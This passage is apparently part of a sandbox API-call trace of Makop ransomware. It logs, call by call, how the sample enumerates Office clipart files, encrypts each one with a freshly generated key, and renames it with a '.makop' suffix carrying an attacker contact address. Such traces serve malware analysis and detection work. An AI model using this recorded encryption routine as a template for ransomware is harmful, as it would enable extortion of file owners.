lpNewFilePointer=0x0) returned 1 [0123.472] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1390, lpOverlapped=0x0) returned 1 [0123.474] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.474] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.474] SetEndOfFile (hFile=0xf0) returned 1 [0123.481] GetProcessHeap () returned 0x48a0000 [0123.481] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.481] GetProcessHeap () returned 0x48a0000 [0123.481] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.481] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.481] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.484] CloseHandle (hObject=0xf0) returned 1 [0123.484] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107746.WMF", cAlternateFileName="")) returned 1 [0123.484] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF") returned 63 [0123.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.486] GetProcessHeap () returned 0x48a0000 [0123.486] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.486] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.486] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.487] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0123.493] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.493] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.493] GetProcessHeap () returned 0x48a0000 [0123.493] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.493] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.493] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.493] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.493] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.493] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.494] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.494] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.494] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.494] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.494] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.494] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.494] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x12b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x12b4, lpOverlapped=0x0) returned 1 [0123.496] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12c0) returned 1 [0123.496] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.496] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x12c0, lpOverlapped=0x0) returned 1 [0123.496] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.497] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.497] SetEndOfFile (hFile=0xf0) returned 1 [0123.503] GetProcessHeap () returned 0x48a0000 [0123.503] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.503] GetProcessHeap () returned 0x48a0000 [0123.503] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.504] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.504] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.505] CloseHandle (hObject=0xf0) returned 1 [0123.505] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2020, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107748.WMF", cAlternateFileName="")) returned 1 [0123.505] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF") returned 63 [0123.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.506] GetProcessHeap () returned 0x48a0000 [0123.506] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.506] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.506] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.506] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.507] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.507] GetProcessHeap () returned 0x48a0000 [0123.507] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.507] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.507] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.507] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.536] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.536] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.537] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.537] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.537] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.537] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.537] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.537] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2020, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2020, lpOverlapped=0x0) returned 1 [0123.539] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2020, dwBufLen=0x2020 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2020) returned 1 [0123.539] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.539] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2020, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2020, lpOverlapped=0x0) returned 1 [0123.540] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x20f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.540] SetEndOfFile (hFile=0xf0) returned 1 [0123.546] GetProcessHeap () returned 0x48a0000 [0123.546] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.546] GetProcessHeap () returned 0x48a0000 [0123.546] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.547] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.548] CloseHandle (hObject=0xf0) returned 1 [0123.548] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x126c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107750.WMF", cAlternateFileName="")) returned 1 [0123.548] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF") returned 63 [0123.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.550] GetProcessHeap () returned 0x48a0000 [0123.550] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.550] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.550] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.550] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.555] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.555] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.555] GetProcessHeap () returned 0x48a0000 [0123.555] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.555] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.555] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.555] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.555] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.555] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.556] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.556] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.556] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.556] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.556] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.556] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x126c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x126c, lpOverlapped=0x0) returned 1 [0123.558] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1270, dwBufLen=0x1270 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1270) returned 1 [0123.558] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.558] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1270, lpOverlapped=0x0) returned 1 [0123.558] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.558] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.559] SetEndOfFile (hFile=0xf0) returned 1 [0123.566] GetProcessHeap () returned 0x48a0000 [0123.566] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0123.566] GetProcessHeap () returned 0x48a0000 [0123.566] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0123.566] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0123.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0123.568] CloseHandle (hObject=0xf0) returned 1 [0123.568] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4146, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0136865.WMF", cAlternateFileName="")) returned 1 [0123.568] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF") returned 63 [0123.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0123.574] GetProcessHeap () returned 0x48a0000 [0123.574] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0123.574] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0123.574] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0123.574] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0123.579] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.579] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.579] GetProcessHeap () returned 0x48a0000 [0123.579] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0123.579] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0123.579] CryptDestroyKey (hKey=0x48c7128) returned 1 [0123.579] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0123.579] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0123.580] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0123.580] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0123.600] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0123.600] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0123.600] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0123.600] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0123.600] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.601] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4146, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4146, 